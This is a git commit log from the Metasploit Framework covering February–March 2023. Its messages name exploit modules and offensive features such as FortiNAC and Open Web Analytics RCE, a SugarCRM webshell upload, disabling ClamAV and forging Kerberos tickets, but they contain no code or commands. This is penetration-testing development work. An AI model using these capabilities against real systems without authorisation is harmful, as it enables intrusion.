space-r7 fddcae3d93 don't always create repo 2023-03-14 19:03:58 -05:00
Pflegusch 0cbebc8a4c Remove malicious .php file at the end of the exploit 2023-03-15 01:03:20 +01:00
Pflegusch 103def70e4 More detailed error message for failed regex match 2023-03-15 00:07:20 +01:00
Pflegusch bb9e214282 Fix line too long in open_web_analytics_rce docs 2023-03-15 00:01:15 +01:00
Pflegusch d72d47e502 Update Failure Codes and check for nil in the helper functions 2023-03-14 23:59:57 +01:00
Pflegusch 897aaf9572 Use Failure::UnexpectedReply when password cant be changed 2023-03-14 23:41:48 +01:00
Pflegusch 2310b0d942 Use Failure::NotFound when no valid cache file is found 2023-03-14 23:40:29 +01:00
Pflegusch 86f4a16cff Check if cache_request is not nil 2023-03-14 23:38:57 +01:00
Pflegusch e160e51711 Fix typos, update docs with advanced option SearchLimit, implement SearchLimit into module 2023-03-14 23:29:55 +01:00
Pflegusch 887551bf2c Use UnexptectedReply instead of Unknown 2023-03-14 22:29:38 +01:00
Pflegusch 8db10af8c0 check if res is not nil in addition to res.code 2023-03-14 22:28:52 +01:00
Pflegusch dff139d6d7 remove fail_with in check_connection as suggested 2023-03-14 22:24:08 +01:00
Pflegusch 2ce3aeed2b Add CONFIG_CHANGES to the side effects 2023-03-14 22:16:10 +01:00
Pflegusch c0ee250b6b Add some more URL references 2023-03-14 22:14:16 +01:00
Pflegusch cfaad7fb84 prepend AutoCheck 2023-03-14 22:10:44 +01:00
Pflegusch 9e64f02742 Use default values in option declaration instead of DefaultOptions 2023-03-14 22:08:05 +01:00
Pflegusch ac6e94770e use Failure::Unreachable and use unless instead of if/else 2023-03-14 22:03:31 +01:00
Pflegusch 311314984f Remove base64 requirement 2023-03-14 21:47:29 +01:00
Pflegusch cc4e455530 Remove directory datastore option and make username and password required 2023-03-14 21:46:45 +01:00
Pflegusch 3196a52bdf fix msftidy_docs.rb issues 2023-03-14 21:43:07 +01:00
3V3RYONE 9c20d0f84b Implemented HTTP-Trace for login scanners via HttpLoggerSubscriber API 2023-03-15 00:57:33 +05:30
Metasploit c2c5c0c339 automatic module_metadata_base.json update 2023-03-14 11:24:18 -05:00
Grant Willcox c53a22d3fb Land #17750, FortiNAC keyUpload.jsp arbitrary file write CVE-2022-39952 2023-03-14 11:09:40 -05:00
Grant Willcox 7217a60e41 Update documentation to provide better installation instructions 2023-03-14 10:13:27 -05:00
Grant Willcox 4a4b2a28d2 Update documentation to provide better installation instructions 2023-03-14 09:21:08 -05:00
Metasploit d9c5a3debf automatic module_metadata_base.json update 2023-03-14 05:44:22 -05:00
cgranleese-r7 ec7347cd49 Land #17509, tomcat 7 priv esc on rhel based systems (cve-2016-5425) 2023-03-14 10:16:18 +00:00
space-r7 1eeaff255e make username / password opts required 2023-03-13 16:45:48 -05:00
Grant Willcox 3bd4c15704 Correct architecture and do final fixes 2023-03-13 15:46:42 -05:00
space-r7 4bb843fe70 add documentation, adjust method of getting ids 2023-03-13 15:31:41 -05:00
h00die 8dfe58e617 review comment
Co-authored-by: cgranleese-r7 <69522014+cgranleese-r7@users.noreply.github.com>
2023-03-13 14:42:26 -04:00
space-r7 4eef052fcd add usage of linux cmdstager, cleanup, description 2023-03-13 13:24:15 -05:00
Metasploit 192af217b6 Bump version of framework to 6.3.8 2023-03-13 13:23:26 -05:00
h00die-gr3y 015d79a4c2 added documentation 2023-03-13 18:05:08 +00:00
Grant Willcox 9ab335ee05 Land #17774, Fix undefined method word_wrap error on msfconsole boot 2023-03-13 13:00:06 -05:00
adfoster-r7 18ecd8be18 Land #17773, Fix kerberos tests failing in different timezones 2023-03-13 17:42:26 +00:00
adfoster-r7 ccf1a82664 Fix undefiend method word_wrap error on msfconsole boot 2023-03-13 17:24:57 +00:00
Dean Welch db343e629d Fix remaining hardcoded timezones in tests 2023-03-13 13:16:12 -04:00
Metasploit bc002de9f2 automatic module_metadata_base.json update 2023-03-13 11:52:26 -05:00
adfoster-r7 4afa8515a8 Land #17770, Revert "Added new Datastore options to ssh_login" 2023-03-13 16:30:05 +00:00
Grant Willcox 3a7da2ad8a Revert "Added new Datastore options to ssh_login" 2023-03-13 10:05:22 -05:00
h00die-gr3y 07d7248de8 initial module commit 2023-03-13 13:32:14 +00:00
Metasploit a26e839ef8 automatic module_metadata_base.json update 2023-03-13 06:35:38 -05:00
cgranleese-r7 29eec5733d Land #17757, Update formatting logic for info command 2023-03-13 11:12:58 +00:00
Pflegusch ddd594ac62 Update example in docs for latest code changes 2023-03-11 17:26:21 +01:00
Pflegusch 94e9504727 Use metasploit payload instead of hardcoded one 2023-03-11 14:47:32 +01:00
Pflegusch 3f7f28dd4f make use of full_uri and change regex 2023-03-11 14:25:04 +01:00
adfoster-r7 daef33fe33 Update formatting logic for info command 2023-03-09 23:23:16 +00:00
Aaron Meese 0a6ac589e4 Update modules/auxiliary/scanner/http/rpyc_rce.py
Renames `system` function to `remote_system`

Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2023-03-09 15:55:51 -07:00
Jack Heysel 2a9ddae531 Updated description 2023-03-09 17:43:14 -05:00
Jack Heysel 06e7c3d702 Responded to comments updated docs 2023-03-09 17:39:53 -05:00
space-r7 2fbc80a44f add base cmdstager support for windows target 2023-03-09 16:24:12 -06:00
Metasploit d188170169 Bump version of framework to 6.3.7 2023-03-09 14:03:37 -06:00
Christophe De La Fuente 4866c2b8b8 Land #17686, Additional PetitPotam Methods 2023-03-09 19:29:16 +01:00
Grant Willcox fdcf55ef58 Land #17758, Update metasploit-payloads gem to 2.0.122 2023-03-09 11:34:18 -06:00
jheysel-r7 63e2376f64 Apply suggestions from code review
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2023-03-09 12:31:30 -05:00
Metasploit d2d99b5db7 automatic module_metadata_base.json update 2023-03-09 11:01:25 -06:00
Spencer McIntyre 0cbac03f91 Update ruby_smb gem to 3.2.5 2023-03-09 11:58:49 -05:00
Spencer McIntyre 876b7c2c0f Update metasploit-payloads gem to 2.0.122
Includes changes from:
* rapid7/metasploit-payloads#621
* rapid7/metasploit-payloads#623
2023-03-09 11:40:45 -05:00
Grant Willcox beb9f87d53 Land #17507, SugarCRM webshell upload RCE [CVE-2023-22952] + Mixin for PNG embedded web shells 2023-03-09 10:16:57 -06:00
dwelch-r7 9961fffaa2 Land #17756, Update secrets dump to generate kerberos rc4 key for machine account 2023-03-09 16:12:52 +00:00
dwelch-r7 01399e4818 Land #17749, Add nthashes to keytab export 2023-03-09 16:09:13 +00:00
Pflegusch 38511f4d89 Rename establish_connection function 2023-03-09 17:06:07 +01:00
Pflegusch e66fd8f5ae Use rand_text_alphanumeric function 2023-03-09 17:03:48 +01:00
Pflegusch 69839d1924 Remove get_proxy_protocol function 2023-03-09 17:02:10 +01:00
Pflegusch 85185633b7 Use single back ticks and 3 instead of 4 at the end 2023-03-09 16:58:04 +01:00
Pflegusch 614f4b6d89 Make installation path of owa configurable 2023-03-09 16:32:28 +01:00
h00die-gr3y fc711131a2 added MIME, added break in mixin and added link with installation instructions 2023-03-09 09:28:46 -06:00
Grant Willcox deafceed00 Update documentation, library, and Gemspec from review 2023-03-09 09:28:27 -06:00
h00die-gr3y d3f84af790 Included mixin for PHP code injection at PNGs 2023-03-09 09:28:14 -06:00
h00die-gr3y dc8ebb722a Added support for native PHP payloads and reengineered webshells 2023-03-09 09:28:03 -06:00
h00die-gr3y c844d4d714 removed check and fix up some code 2023-03-09 09:27:29 -06:00
h00die-gr3y 771f32bd8a Add documentation and apply code updates 2023-03-09 09:27:03 -06:00
h00die-gr3y 378a667f76 init commit module 2023-03-09 09:26:55 -06:00
Pflegusch 2de53712bd Use Rex::Version for version comparison 2023-03-09 15:59:42 +01:00
Pflegusch 94ceeb075a Redirect is not necessary - replace with simple send_request_cgi request 2023-03-09 15:41:15 +01:00
Jeffrey Martin 350984bc41 Land #17661, Weekly dependency updates for Gemfile.lock 2023-03-09 08:36:26 -06:00
Pflegusch ee95eb2883 fix typo: establish_connection 2023-03-09 15:09:32 +01:00
adfoster-r7 5c1fcc3a72 Update secrets dump to generate kerberos rc4 key for machine account 2023-03-09 14:05:12 +00:00
Pflegusch 14b5c08a62 Fix the double slash in the shell url 2023-03-09 14:28:15 +01:00
Pflegusch ae7ca169fe Use the same IP as in the example 2023-03-09 14:08:50 +01:00
Pflegusch 3847c410b0 Small changes to the open_web_analytics_rce documentation 2023-03-09 14:05:06 +01:00
Pflegusch 7b0a54bb56 Add the documentation for the module 2023-03-09 13:59:27 +01:00
Pflegusch d59175a463 make it work for https and http and remove the tmp self signed cert bypass 2023-03-09 13:58:56 +01:00
adfoster-r7 ab57c09dc2 Update get_ticket to support using forged golden tickets 2023-03-09 12:21:29 +00:00
Dean Welch 540f28d71b Fix crashes in wmap plugin 2023-03-09 12:07:40 +00:00
Pflegusch f0dbf54c69 use fail_with in get_cache_content function 2023-03-09 11:04:00 +01:00
Pflegusch 7068d4c3f1 remove LPORT, RPORT and SSL from DefaultOptions 2023-03-09 11:03:24 +01:00
space-r7 c69b5c9363 add creation of projects and multiple commits 2023-03-08 17:46:25 -06:00
Grant Willcox 100cfbccf9 Fix up some more slight things in documentation. Also tidy up some things in the module 2023-03-08 17:25:56 -06:00
Grant Willcox eeb30d2426 Fix up some typos etc from review in documentation 2023-03-08 16:44:06 -06:00
Pflegusch 76b05a7092 Change DisclosureDate according to nvd.nist.gov 2023-03-08 21:52:13 +01:00
Pflegusch b37be28191 Working module open web analytics 1.7.3 rce 2023-03-08 21:30:52 +01:00
Jack Heysel d31220ef1e Updated references 2023-03-08 14:17:34 -05:00
Jack Heysel 263223b783 Last second file reorganization fix 2023-03-08 14:08:46 -05:00
Jack Heysel dfae7e2fc4 FortiNAC keyUploap.jsp arbitrary file write CVE-2022-39952 2023-03-08 14:06:28 -05:00
Metasploit 05774d5f9c automatic module_metadata_base.json update 2023-03-08 12:32:46 -06:00
Christophe De La Fuente bbc071d254 Land #17737, Add Gather Wowza Streaming Engine Credentials 2023-03-08 19:13:21 +01:00
Metasploit 924d5eabee automatic module_metadata_base.json update 2023-03-08 12:10:57 -06:00
adfoster-r7 3bc4639235 Add nthashes to keytab export 2023-03-08 18:03:44 +00:00
Grant Willcox fbda738da9 Land #17727, Added new Datastore options to ssh_login 2023-03-08 11:43:57 -06:00
rohitkumarankam 599642bbb9 Updated variable names to be more specific 2023-03-08 10:53:24 -06:00
rohitkumarankam 28fb670d4d added sane defaults for new variables 2023-03-08 10:53:23 -06:00
rohitkumarankam 71e142a5ee updated variable names 2023-03-08 10:53:23 -06:00
rohitkumarankam 2c3005fee3 Added new Datastore options to ssh_login 2023-03-08 10:53:23 -06:00
Grant Willcox 0fc94f14e8 Bump up gems again 2023-03-08 10:26:29 -06:00
bcoles f62994b4c0 Add Gather Wowza Streaming Engine Credentials 2023-03-09 01:31:23 +11:00
Metasploit f8dbeb359a automatic module_metadata_base.json update 2023-03-08 08:18:44 -06:00
Christophe De La Fuente 6ef92915d2 Land #17741, Add in missing EDB reference to pfsense_pfblockerng_webshell 2023-03-08 14:53:09 +01:00
Arthur RAOUT 75002f16e6 Finally reverted bad changes 2023-03-08 13:45:25 +01:00
Arthur RAOUT 889aff9701 Revert accidental changes Merge branch 'upstream-master' into New_x86_xor_encoder 2023-03-08 13:41:26 +01:00
Grant Willcox 475209c768 Land #17746, Add LastPass master password example 2023-03-07 14:01:19 -06:00
Tod Beardsley de58b96d2a Add "a good example" of a LastPass password
When setting a new master password, LastPass helpfully suggests "r50$K28vaIFiYxaY" as a good example.

Sure, sounds good to me.
2023-03-07 13:32:50 -06:00
Tod Beardsley f5aa4296ff Merge branch 'rapid7:master' into master 2023-03-07 13:29:11 -06:00
Grant Willcox 10af603858 Land #17673, Msf::Payload::Apk: apktool: Decompile only main classes 2023-03-07 13:01:20 -06:00
Spencer McIntyre 7bcdf0386e Land #17745, Update metasploit-payloads gem to 2.0.120
Update metasploit-payloads gem to 2.0.120
2023-03-07 13:28:25 -05:00
Grant Willcox 92a91c759e Land #17743, Add documentation on profiling msfconsole and msfvenom performance 2023-03-07 12:25:40 -06:00
adfoster-r7 3338718f37 Add documentation on profiling msfconsole 2023-03-07 18:01:13 +00:00
Grant Willcox 795b9c9ebc Land #17744, Improve accuracy of msfconsole performance profiling 2023-03-07 11:36:47 -06:00
Grant Willcox 0bf809697c Update metasploit-payloads gem to 2.0.120 2023-03-07 10:55:07 -06:00
Metasploit a0accb2a36 automatic module_metadata_base.json update 2023-03-07 08:45:59 -06:00
Christophe De La Fuente ecbeceb817 Land #17733, Add Gather Wowza Streaming Engine Credentials 2023-03-07 15:27:52 +01:00
bcoles 3f781de8e9 Add Wowza Streaming Engine Manager Login Utility 2023-03-07 23:42:42 +11:00
adfoster-r7 6e06d1e6f8 Improve accuracy of msfconsole performance profiling 2023-03-07 12:41:07 +00:00
Grant Willcox 5c4d730cd3 Add in missing EDB reference 2023-03-06 14:32:01 -06:00
dwelch-r7 77c99da6d6 Land #17738, Fix Ruby 3.2 crash when running certain tools 2023-03-06 14:20:35 +00:00
Dean Welch d318a9e0d0 Add advanced option to include Ticket Checksum during forging 2023-03-06 13:21:23 +00:00
Dean Welch 48a5f33f35 Add option to include a ticket checksum while forging a ticket 2023-03-06 13:19:59 +00:00
Dean Welch 2aa74f9dfc Add support for full pac and partial ticket checksum support 2023-03-06 13:14:09 +00:00
adfoster-r7 4f75a44581 Fix Ruby 3.2 crash when running certain tools 2023-03-06 11:03:12 +00:00
Metasploit 10ea667b8f automatic module_metadata_base.json update 2023-03-06 05:00:24 -06:00
adfoster-r7 2c9aed6071 Land #17729, Replace deprecated File.exists? with File.exist? 2023-03-06 10:37:48 +00:00
Grant Willcox c5ef08b324 Add in additional YARD documentation fixes 2023-03-05 20:56:54 -06:00
Grant Willcox 08f07eccb6 Fix initial incorrect parameters in YARD documentation 2023-03-05 20:15:14 -06:00
bcoles 9dcaf93b29 Replace deprecated File.exists? with File.exist? 2023-03-05 14:30:47 +11:00
npm-cesium137-io 6adfc69b9a Merge pull request #2 from space-r7/whatsupgold-changes
Suggested changes for module
2023-03-04 14:41:01 -05:00
adfoster-r7 a2a9cd76b3 Land #17725, Fix number of OSX nightly installers we retain and fix typo 2023-03-04 00:23:12 +00:00
space-r7 99fb35fe84 refs/heads instead of refs/head 2023-03-03 17:24:39 -06:00
Grant Willcox 20003fd165 Land #17726, Update metasploit-payloads gem to 2.0.118 2023-03-03 16:40:16 -06:00
bwatters 9a4f8c0e7f Land #17716, Fix the reverse port forward message
Merge branch 'land-17716' into upstream-master
2023-03-03 16:28:49 -06:00
Spencer McIntyre 2c1de9b2e4 Update metasploit-payloads gem to 2.0.118
Includes changes from:
* rapid7/metasploit-payloads#619
* rapid7/metasploit-payloads#617
* rapid7/metasploit-payloads#610
2023-03-03 17:19:05 -05:00
Grant Willcox df4009c084 Fix number of OSX nightly installers we retain and fix typo 2023-03-03 14:12:27 -06:00
Metasploit fe84cb0804 automatic module_metadata_base.json update 2023-03-03 12:08:47 -06:00
Grant Willcox 6579dcc977 Land #17723, Fix PHP Base64 encoding 2023-03-03 11:53:46 -06:00
Metasploit 3b7a224f37 automatic module_metadata_base.json update 2023-03-03 08:32:09 -06:00
cgranleese-r7 252012f48d Land #17675, Add support for forging inter-realm Kerberos tickets 2023-03-03 14:17:48 +00:00
Metasploit f8c67e9498 automatic module_metadata_base.json update 2023-03-03 07:46:21 -06:00
cgranleese-r7 6259f02051 Land #17684, Add rbcd exploitation documentation to docs site 2023-03-03 13:31:53 +00:00
adfoster-r7 efd79eb638 Add support for forging inter-realm Kerberos tickets 2023-03-03 13:20:39 +00:00
adfoster-r7 0047ce5d3a Add rbcd exploitation documentation to docs site 2023-03-03 13:18:29 +00:00
cgranleese-r7 d5f9ff14d2 Land #17688, Fix broken wiki links, and add automation for future validation 2023-03-03 11:51:25 +00:00
adfoster-r7 31ca497e1f Fix broken wiki links, and add automation for future validation 2023-03-03 10:51:23 +00:00
Grant Willcox 975de9d479 Supply exception message when raising BadcharError and fix typo 2023-03-02 17:46:21 -06:00
Grant Willcox 96c9f60cc1 Land #17715, Update metasploit-payloads gem to 2.0.115 2023-03-02 16:52:24 -06:00
jvoisin 5b82c952ba Rubocop pass 2023-03-02 21:43:41 +01:00
jvoisin ae549ce1d4 Fix PHP base64 encoding 2023-03-02 21:40:27 +01:00
bwatters 5b4962e2bd Land #17721, Fix adapted payload stage encoding
Merge branch 'land-17721' into upstream-master
2023-03-02 14:03:06 -06:00
Metasploit 673a574b3d Bump version of framework to 6.3.6 2023-03-02 12:11:53 -06:00
adfoster-r7 f3975e968f Land #17635, Add support for full pac ul_type 19 and partial ticket checksum support 2023-03-02 14:22:58 +00:00
Metasploit ec2d71cbb7 automatic module_metadata_base.json update 2023-03-02 08:13:23 -06:00
Spencer McIntyre a418bd9c65 Land #17638, Lucee Scheduled Job RCE 2023-03-02 08:57:19 -05:00
Arthur RAOUT 7b7377257e fixed 2 rubocop offenses 2023-03-02 13:08:09 +01:00
Arthur RAOUT e178226efa Merge branch 'New_x86_xor_encoder' of github.com:araout42/metasploit-framework into New_x86_xor_encoder 2023-03-02 12:31:21 +01:00
Arthur RAOUT dd7e8328bb no test.rb 2023-03-02 12:31:07 +01:00
Arthur RAOUT 1461f9fb03 slight changes in the comments 2023-03-02 12:30:38 +01:00
Arthur RAOUT 6a81e0f6cb Merge branch 'upstream-master' into New_x86_xor_encoder 2023-03-02 12:10:00 +01:00
Professor Araout 83bcd1cc1b Fix typo in the comments line 41
Co-authored-by: Brendan <bwatters@rapid7.com>
2023-03-02 11:50:56 +01:00
Spencer McIntyre 088f359cee Make stage encoding optional 2023-03-01 12:24:46 -05:00
Spencer McIntyre 08cb115368 Handle encoding stages of different architectures 2023-03-01 12:17:37 -05:00
JBince 1245124afa updated docs to reflect changes from smcintyre-r7 2023-02-28 19:58:39 -06:00
Alex dde4445dab Merge pull request #1 from smcintyre-r7/pr/collab/17638
Pr/collab/17638
2023-02-28 20:27:49 -05:00
Spencer McIntyre 3fabcc3421 Use coldfusion to decode base64 data
This means we don't need to rely on base64 being in the path. Also
invoke ARCH_CMD payloads on Windows through cmd.exe and not
powershell.exe.
2023-02-28 17:32:56 -05:00
Metasploit 82005fe3cf automatic module_metadata_base.json update 2023-02-28 16:31:20 -06:00
Spencer McIntyre c8aa491378 Fail with Unreachable when res is nil 2023-02-28 17:05:59 -05:00
Jack Heysel 3abd62076c Land #17624, Oracle E-Business Suite Module
This pull request adds an exploit module for CVE-2022-21587
an arbitrary file upload vulnerability in Oracle Web Applications
Desktop Integrator as shipped with 12.2.3 through to 12.2.11
which results in RCE
2023-02-28 17:04:20 -05:00
Metasploit 89d9da87bd automatic module_metadata_base.json update 2023-02-28 15:56:29 -06:00
Spencer McIntyre a916163b49 Cleanup files and fixup messages 2023-02-28 16:41:57 -05:00
space-r7 b3e6767125 Land #17676, add SIS login module 2023-02-28 15:41:24 -06:00
space-r7 380a66916f use print instead of vprint 2023-02-28 15:40:03 -06:00
Spencer McIntyre 636d89cf67 Fix the reverse port forward message 2023-02-28 15:08:00 -05:00
Spencer McIntyre 75ed29964e Update metasploit-payloads gem to 2.0.115
Includes changes from:
* rapid7/metasploit-payloads#614
* rapid7/metasploit-payloads#611
2023-02-28 12:56:34 -05:00
Imran E. Dawoodjee 41c231b803 Convert to JSON before checks 2023-02-28 09:46:56 +08:00
Metasploit b8178397a9 automatic module_metadata_base.json update 2023-02-27 15:49:35 -06:00
Spencer McIntyre 2be54376bc Land #17699, Add in SCHANNEL support for LDAP 2023-02-27 16:35:30 -05:00
Spencer McIntyre d92b6e328a Fix up error message 2023-02-27 16:14:00 -05:00
Metasploit 1f370b3c9e automatic module_metadata_base.json update 2023-02-27 15:02:04 -06:00
bwatters 87f046f351 Land #17629, Fix #17629 #query_ldap issues
Merge branch 'land-17698' into upstream-master
2023-02-27 14:39:19 -06:00
Jack Heysel ac3e84d3fb Land #17679, Fix broken payload selection for RPC
Fix broken payload selection for Metasploit RPC
2023-02-27 15:19:50 -05:00
Grant Willcox 524f5e4e63 Check file exists first before trying to read 2023-02-27 14:12:09 -06:00
JBince 8b03f2fda8 Reworked payload execution logic 2023-02-27 11:09:34 -06:00
Grant Willcox 4cd50b4550 Address comments from review 2023-02-27 11:07:21 -06:00
Jack Heysel fc76f5f039 Land #17680, improve UX of metasploit docs site
Adds expand all and colapse all buttons to module
section of the docs site for a better UX
2023-02-27 11:31:46 -05:00
Imran E. Dawoodjee 3f1119c69e Attempt fix for NoMethodError when exploiting 2023-02-26 22:02:08 +08:00
Imran E. Dawoodjee 2f08cf6c46 Improved version check, review round 1 2023-02-26 17:23:54 +08:00
Grant Willcox 47652e3b19 Land #17696, Update metasploit-payloads gem to 2.0.113 2023-02-25 16:41:21 -06:00
Grant Willcox 3c56cf7a15 Land #17701, Fix typo in psexec.rb 2023-02-25 10:42:37 -06:00
Grant Willcox 363a3415df Land #17700, Fix argument validation for the route command 2023-02-25 10:37:52 -06:00
Jeff McJunkin b7d373d247 Typo in psexec.rb 2023-02-25 08:15:34 -08:00
Grant Willcox 50fdd4536e Land #17695, Remove LDAP collection project from GSOC 2023 list 2023-02-25 09:26:05 -06:00
Spencer McIntyre 49a2f481b6 Fix argument validation for the route command 2023-02-24 15:36:52 -05:00
Grant Willcox fe8afed994 Change over to fail_with and add condition to fail when SSL is not enabled and SCHANNEL is the authentication mechanism 2023-02-24 14:13:13 -06:00
Metasploit 020d2d3302 automatic module_metadata_base.json update 2023-02-24 13:54:52 -06:00
Grant Willcox f6bfa6a61b Add in SCHANNEL support, and update modules to fix a hang when using to_json instead of get_operation_result. 2023-02-24 13:50:04 -06:00
Spencer McIntyre 20dbc175d1 Land #17697, Froxlor 2.0.7 is actually vulnerable too
Froxlor 2.0.7 is actually vulnerable too
2023-02-24 14:32:32 -05:00
Spencer McIntyre 26d9026fc2 Fix a filter error
When FILTER was nil, the check would fail causing `()` to be appended to
the LDAP query filter which would cause it to fail.
2023-02-24 13:51:58 -05:00
Spencer McIntyre fc8f94fff4 Fix #query_ldap to use the API
Fix #query_ldap to use the API provided by Windows instead of dealing
with the opaque BER data structures. This means that querying is now
reliant on documented APIs and will function on both 32-bit and 64-bit
Meterpreters.
2023-02-24 13:46:11 -05:00
Spencer McIntyre 9706ee9d9e Need to use #native_arch
Using #arch instead of #native_arch means that the Python Meterpreter
will be misclassified as ARCH_PYTHON and will be unable to use util
functions correctly.
2023-02-24 13:46:11 -05:00
Jack Heysel ca6faed172 Check method enhancement 2023-02-24 13:33:10 -05:00
Jack Heysel 5311a491e9 Froxlor 2.0.7 is actually vulnerable too 2023-02-24 13:18:34 -05:00
Spencer McIntyre 7db2d86147 Update metasploit-payloads gem to 2.0.113
Includes changes from:
  * rapid7/metasploit-payloads#604
  * rapid7/metasploit-payloads#605
  * rapid7/metasploit-payloads#607
  * rapid7/metasploit-payloads#606
  * rapid7/metasploit-payloads#609
2023-02-24 12:09:21 -05:00
Spencer McIntyre 22ad9ebe7f Remove the LDAP collection prject 2023-02-24 11:40:56 -05:00
bcoles b19ab03da1 Msf::Payload::Apk: apktool: Decompile only main classes 2023-02-25 01:08:20 +11:00
adfoster-r7 a408e3e27f Land #17687, Add additional documentation for HTTPRawHeaders Option 2023-02-24 10:19:18 +00:00
Metasploit 011ffb87bd automatic module_metadata_base.json update 2023-02-23 21:18:09 -06:00
Jack Heysel 5749b402af Land #17672, disable ClamAV on Linux
This PR includes a post module that will disable
ClamAV on Linux systems.
2023-02-23 21:51:48 -05:00
Jack Heysel 9a874c352b Added missing space in fail_with statement 2023-02-23 20:57:19 -05:00
DLL_Cool_J 9e9e7ac938 Update docs/metasploit-framework.wiki/Metasploit-Guide-HTTP.md
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2023-02-23 20:33:10 -05:00
DLL_Cool_J 0479215373 Update docs/metasploit-framework.wiki/Metasploit-Guide-HTTP.md
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2023-02-23 20:32:58 -05:00
space-r7 eec73fe394 add module changes 2023-02-23 16:34:43 -06:00
Jack Heysel 5e2f0965f3 Changed print_bad to fail_with 2023-02-23 17:33:52 -05:00
Jack Heysel 8db255288b Spelling 2023-02-23 16:40:09 -05:00
Jack Heysel 2ed89dda7e Added nc and python cmd techniques 2023-02-23 16:21:09 -05:00
Spencer McIntyre fbf2e5d370 Land #17562, Fix incorrect defs in def_wldap32.rb
Fix incorrect definitions for ldap_search functions in def_wldap32.rb
2023-02-23 14:03:26 -05:00
Metasploit f4549b0a1e Bump version of framework to 6.3.5 2023-02-23 12:11:22 -06:00
adfoster-r7 d21f6a10a2 Land #17690, Update inspect ticket tests to use the local timezone 2023-02-23 16:02:55 +00:00
dwelch-r7 6c5c158607 Land #17691, Fix module spec test failing on local machine 2023-02-23 14:52:05 +00:00
Spencer McIntyre 42bd87e0c1 Update how railgun handles pointer return types
Update railgun to handle pointer return types. If the type that is
pointed to is known (i.e. PCHAR, PULONG_PTR) and not LPVOID, the
contents returned to the caller. The raw address is also returned in the
&return key to enable the caller to free the buffer if necessary which
is determined by the function that was called.
2023-02-23 08:42:59 -06:00
Grant Willcox 4c25530afe Fix up PCHAR and PWCHAR definitions to correctly handle cases where the return value may be 0. Also fix some definitions to be clearer and work on x64. 2023-02-23 08:41:26 -06:00
Grant Willcox ae461c2395 Add in ULONG alias to DWORD and update definitions to fix some mistakes 2023-02-23 08:40:28 -06:00
Grant Willcox 59eb419d28 Make PULONG_PTR definitions PLPVOID to be more accurate, and correctly define some structures as PBLOB so they be handled correctly 2023-02-23 08:40:23 -06:00
Grant Willcox d16905ca49 Fix incorrect definitions for ldap_search functions 2023-02-23 08:40:22 -06:00
Dean Welch 8a37cc6c88 Update inspect ticket tests to use the local timezone 2023-02-23 14:39:19 +00:00
Grant Willcox 8b27c2e8f7 Use start_tls for connections with SSL 2023-02-23 08:33:18 -06:00
adfoster-r7 b2cc84228f Fix module spec test failing on local machine 2023-02-23 14:27:44 +00:00
Dean Welch 65c11bd8c8 Update inspect ticket tests to use the local timezone 2023-02-23 13:37:16 +00:00
Dean Welch fd5d10e610 Update inspect ticket tests to use the local timezone 2023-02-23 12:43:43 +00:00
archcloudlabs 743e5ffd9f adding an example for additional http-headers 2023-02-22 22:22:04 -05:00
archcloudlabs 10552cbc87 msftidy and notes 2023-02-22 21:48:35 -05:00
archcloudlabs 9ff4cdfd5c updated w/ socat method 2023-02-22 21:40:26 -05:00
archcloudlabs 55371f9363 removing to_str 2023-02-22 20:36:55 -05:00
adfoster-r7 2de3142cde Land #17685, Fixed Broken Link for Metasploit Goliath in GSOC'23 page 2023-02-23 00:43:34 +00:00
samsepi0x0 b3f30f00a7 Update GSoC-2023-Project-Ideas.md 2023-02-23 05:13:27 +05:30
samsepi0x0 b38d51edca Update GSoC-2023-Project-Ideas.md 2023-02-23 02:19:40 +05:30
samsepi0x0 6b36463086 Fixed Broken Link for Metasploit Goliath. 2023-02-23 01:34:16 +05:30
Metasploit c0042ab0d2 automatic module_metadata_base.json update 2023-02-22 12:26:24 -06:00
space-r7 9621f77bac Land #17640, add Froxlor RCE 2023-02-22 12:11:38 -06:00
Jack Heysel bf7884b2dc Removed need to auth twice when AutoCheck enabled 2023-02-22 12:28:28 -05:00
Imran E. Dawoodjee 62439bbcd0 Update documentation 2023-02-22 22:52:43 +08:00
Imran E. Dawoodjee 2b5b17916f Update docs, improved robustness of module+lib 2023-02-22 22:41:14 +08:00
sfewer-r7 690abcfe1f improve the documentation, mention some steps required during setup. 2023-02-22 09:42:11 +00:00
Jack Heysel f6ec3855b3 Removed space at EOL 2023-02-22 00:35:42 -05:00
Jack Heysel 0c8df1a67b Updated docs and module suggetsions 2023-02-22 00:33:40 -05:00
jheysel-r7 42146fc4ec Update modules/exploits/linux/http/froxlor_log_path_rce.rb
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2023-02-21 23:02:49 -05:00
jheysel-r7 80cec400bf Update modules/exploits/linux/http/froxlor_log_path_rce.rb
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2023-02-21 22:59:23 -05:00
jheysel-r7 fc5f4983f6 Update modules/exploits/linux/http/froxlor_log_path_rce.rb
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2023-02-21 22:58:49 -05:00
jheysel-r7 647418745f Update modules/exploits/linux/http/froxlor_log_path_rce.rb
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2023-02-21 22:58:41 -05:00
Joshua Rogers 0f5f495108 Add default locations for the Jenkins home directory, and add an optional value that a user can suggest the home directory. 2023-02-22 03:56:54 +01:00
Metasploit e1e39ad5bc automatic module_metadata_base.json update 2023-02-21 15:44:56 -06:00
Jack Heysel e625e2e474 Land #17652, module for pyload js2py exploit
This adds an exploit for CVE-2023-0297 which is unauthenticated
Javascript injection in pyLoads Click N Load service.
2023-02-21 16:27:04 -05:00
Spencer McIntyre 6dbf22a5e7 Automatically rebind on STATUS_PIPE_DISCONNECTED 2023-02-21 15:51:10 -05:00
Spencer McIntyre fa3baa40e6 Add three new petitpotam methods 2023-02-21 14:38:52 -05:00
sfewer-r7 963b9a9952 Merge remote-tracking branch 'origin/CVE-2022-21587' into CVE-2022-21587 2023-02-21 18:02:10 +00:00
sfewer-r7 3854c30a11 more specific testing of the response after upload to ensure it contains the expected EBS response data. infer the relative path traversal depth from the path to the upload folder, thanks @gwillcox-r7 2023-02-21 18:00:17 +00:00
Dean Welch fc5d938d8c Add support for full pac and partial ticket checksum support 2023-02-21 13:03:59 +00:00
